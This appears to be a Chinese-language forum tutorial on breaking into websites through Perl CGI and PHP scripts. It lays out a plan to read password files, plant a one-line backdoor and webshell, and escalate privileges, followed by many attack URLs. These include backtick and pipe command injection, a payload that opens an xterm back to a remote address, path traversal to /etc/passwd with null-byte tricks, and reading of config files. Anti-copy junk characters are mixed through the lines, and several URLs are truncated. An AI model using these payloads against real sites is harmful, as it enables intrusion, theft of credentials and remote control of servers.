总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着 # G6 h' j( S! N u
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权
* G x& j; f$ _& g+ v; i4 v( R感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们
( d6 Z: o5 j) K1 u5 c注“
* H7 X- y* }1 Yperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。 ; G; J, Y8 I; c8 y% B# ]; T2 |* g" t
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET + g$ r2 ^+ V: z ]4 Z' C
& @1 Z1 F) i6 S! n4 {: t! o. Zhttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造
, F: a- _; x% w. Q. t3 whttp://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢
/ h: Z1 T: [$ Q$ V, |% ^2 `" ]http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号
' A2 O* c+ r4 D- { k% |http://target.com/cgi-bin/home/news/sub.pl?`id` + V1 L' l/ L8 Q- X7 }7 f
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`
4 j ?; N4 y U$ J+ A! M) N' Zhttp://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示
: Z# @. d& a2 ^( w# T0 F1 ~; _/ B0 H% Y U! Z3 [! M! `$ e3 z; @/ V1 u
http://target.com/test.pl;ls|
9 M- t$ z Y- J6 U! Q6 H* ]' ]http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm| ) S+ _2 d( ?8 r# E& ?6 f! E) c) p
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|
' c6 B8 w! v, C# f/ @http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造 3 D1 A+ _+ h1 L1 G$ V
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。
$ {2 q: B0 \9 ?- A% O* r. {http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection
5 `+ q( K% W2 B$ R* W
" w1 {, y. \# v h9 @http://target.com/test.pl?&........ /../../etc/passwd
9 S+ T+ T# o5 |+ y1 c. u
. H: d. C- Y8 H- d) f* _http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./
0 w! O( w! d' z( [( x; Rhttp://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了
& i# b! H3 P2 a; h- r3 Z7 x0 Qhttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00
# Y+ v& ^6 H9 B8 z* Y+ b0 W C9 Y g% T
http://www.target.org/show.php?f ... /include/config.php 查看php代码
& [2 g9 F8 ?5 m* T/ T% Rhttp://www.target.org/show.php?f ... ng/admin/global.php / W9 B3 `" P% [1 Q" o
. L9 @& A' y# b
emm和ps的一句话1 ~1 {) [" X. p5 `- Y/ E C
* \" A$ d6 e; G! g
http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20 9 o& J% }8 b/ y. }5 g
( m6 X3 M! q, K, f8 T% _2 r>bbb%20| % j+ J' O: r5 V9 e
. v+ N* C# R! U" |7 q* H2 E, g, Zhttp://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串
- Q6 w7 D, |# _9 y% ]' x6 o! }# n1 e# v) t2 J- B& S0 o
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征 / [( H- o) H9 G! `: c
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin 7 j, |. |9 L! k5 X
( l! H' \& l- w: L' J9 h
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法
) B: W9 y6 A% g3 r9 P$ r, p9 ~/ Mhttp://target.com/index.html#cmd.exe
, J( s7 v- I2 c, ~) Yhttp://target.com/index.html?dummyparam=xp_cmdshell % K, A; W) o! p1 u) D3 C s$ k; ]
lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd ! f+ G( y3 Z) H: N7 C% _
|